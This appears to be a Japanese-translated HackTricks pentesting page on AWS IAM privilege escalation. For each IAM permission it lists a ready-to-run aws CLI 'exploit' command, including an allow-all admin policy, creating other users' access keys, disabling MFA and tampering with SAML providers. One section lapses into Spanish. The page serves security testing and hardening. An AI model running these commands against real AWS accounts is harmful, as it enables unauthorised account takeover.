AWS - IAM Privesc
{{#include ../../../../banners/hacktricks-training.md}}
IAM
IAM の詳細については次を参照してください:
{{#ref}} ../../aws-services/aws-iam-enum.md {{#endref}}
iam:CreatePolicyVersion
新しい IAM ポリシーバージョンを作成する権限を付与します。--set-as-default フラグを使用することで iam:SetDefaultPolicyVersion 権限をバイパスしてデフォルトに設定でき、カスタムの権限を定義可能です。
Exploit Command:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
影響: 任意のリソースに対して任意のアクションを実行できるようにすることで、直接的に権限を昇格させます。
iam:SetDefaultPolicyVersion
既存の別バージョンにIAMポリシーのデフォルトバージョンを変更できるようにします。新しいバージョンがより多くの権限を持っている場合、権限が昇格する可能性があります。
Bash Command:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
影響: 間接的な privilege escalation — より多くの権限を有効にすることで発生します。
iam:CreateAccessKey
他のユーザーの access key ID と secret access key を作成できるようにし、潜在的な privilege escalation を引き起こす可能性があります。
Exploit:
aws iam create-access-key --user-name <target_user>
影響: 別ユーザーの拡張権限を利用して直接的に権限昇格を引き起こす。
iam:CreateLoginProfile | iam:UpdateLoginProfile
ログインプロファイルの作成や更新(AWS コンソールログイン用のパスワード設定を含む)を許可し、これにより直接的な権限昇格につながる。
Exploit for Creation:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Exploit(更新用):
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Impact: 「任意」のユーザーとしてログインすることで直接的な特権昇格。
iam:UpdateAccessKey
無効化された access key を再度有効化できるため、攻撃者がその無効なキーを所持している場合、不正アクセスにつながる可能性がある。
Exploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Impact: 直接的な権限昇格(access keys を再有効化することで)。
iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential
特定の AWS サービス(例: CodeCommit、Amazon Keyspaces)向けの認証情報を生成またはリセットできるようにし、関連付けられたユーザーの権限を継承します。
Exploit for Creation:
aws iam create-service-specific-credential --user-name <username> --service-name <service>
リセット用エクスプロイト:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Impact: ユーザーのサービス権限内での直接的な権限昇格。
iam:AttachUserPolicy || iam:AttachGroupPolicy
ユーザーまたはグループにポリシーをアタッチすることを許可し、アタッチされたポリシーの権限を継承することで直接的に権限を昇格させます。
Exploit for User:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
グループ向け Exploit:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Impact: ポリシーが付与する任意の権限へ直接昇格可能。
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
ロール、ユーザー、グループにポリシーをアタッチ/設定でき、追加権限を付与して直接的な権限昇格を可能にします。
Exploit for Role:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
インラインポリシーの悪用:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
次のようなポリシーを使用できます:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
影響: ポリシーを通じて権限を追加することで直接的な権限昇格を引き起こす。
iam:AddUserToGroup
自分を IAM グループに追加できるようにし、グループの権限を継承することで権限が昇格する。
Exploit:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Impact: グループの権限と同等のレベルまで直接的に権限を昇格させることができる。
iam:UpdateAssumeRolePolicy
ロールの assume role policy ドキュメントを変更できるため、そのロールとその関連権限を引き受けられるようになる。
Exploit:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
ポリシーが次のようになっており、ユーザーにロールを引き受ける許可を与えている場合:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
影響: 任意のロールの権限を引き継ぐことで、直接的な権限昇格が可能になります。
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
CodeCommit に対する認証用の SSH 公開鍵のアップロードと、MFA デバイスの無効化を許可し、結果的に間接的な権限昇格を招く可能性があります。
Exploit for SSH Key Upload:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
MFA無効化のExploit:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
影響: CodeCommit へのアクセスを有効にしたり、MFA 保護を無効にしたりすることで、間接的な privilege escalation が発生する可能性があります。
iam:ResyncMFADevice
MFA デバイスの再同期を許可します。MFA 保護を操作することで、間接的な privilege escalation を引き起こす可能性があります。
Bash コマンド:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Impact: MFAデバイスの追加または操作による間接的な特権昇格。
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
これらの権限があれば、SAML connectionのXMLメタデータを変更することができます。そうすると、SAML federationを悪用して、それを信頼している任意のroleでloginすることができます。
ただし、これを行うと正規のユーザーはloginできなくなります。とはいえ、XMLを取得できるので、自分のものを入れてloginし、以前の設定に戻すように構成することが可能です。
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
Note
TODO: 指定したロールでログインできる SAML metadata を生成するツール
iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
(確かではない) 攻撃者がこれらの権限を持っている場合、新しいThumbprintを追加してプロバイダーを信頼するすべてのロールにログインできるようにする可能性がある。
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
iam:PutUserPermissionsBoundary
この権限により攻撃者はユーザーの permissions boundary を更新できるようになり、通常は既存の権限によって制限されている操作を実行できるようにして権限を昇格させる可能性があります。
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
Un ejemplo de una política que no aplica ninguna restricción es:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
iam:PutRolePermissionsBoundary
iam:PutRolePermissionsBoundary を持つ主体は、既存のロールに permissions boundary を設定できます。問題は、この権限を持つ者がロールの permissions boundary を変更した場合に発生します:操作を不適切に制限してサービスの中断を引き起こす可能性がある一方、許容的な permissions boundary をアタッチすると、実質的にロールができることを拡大して権限昇格を引き起こす可能性があります。
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
参考資料
{{#include ../../../../banners/hacktricks-training.md}}